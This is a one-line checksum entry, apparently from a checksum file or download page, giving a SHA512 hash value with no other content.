SHA512303ab9c955fa37eb17043d09dc0db85531fdd30d1c1b008c8d8b437ac8d729973125c6598b0eeb045e372102d8604790430604694603083f8c2f2be533b6c640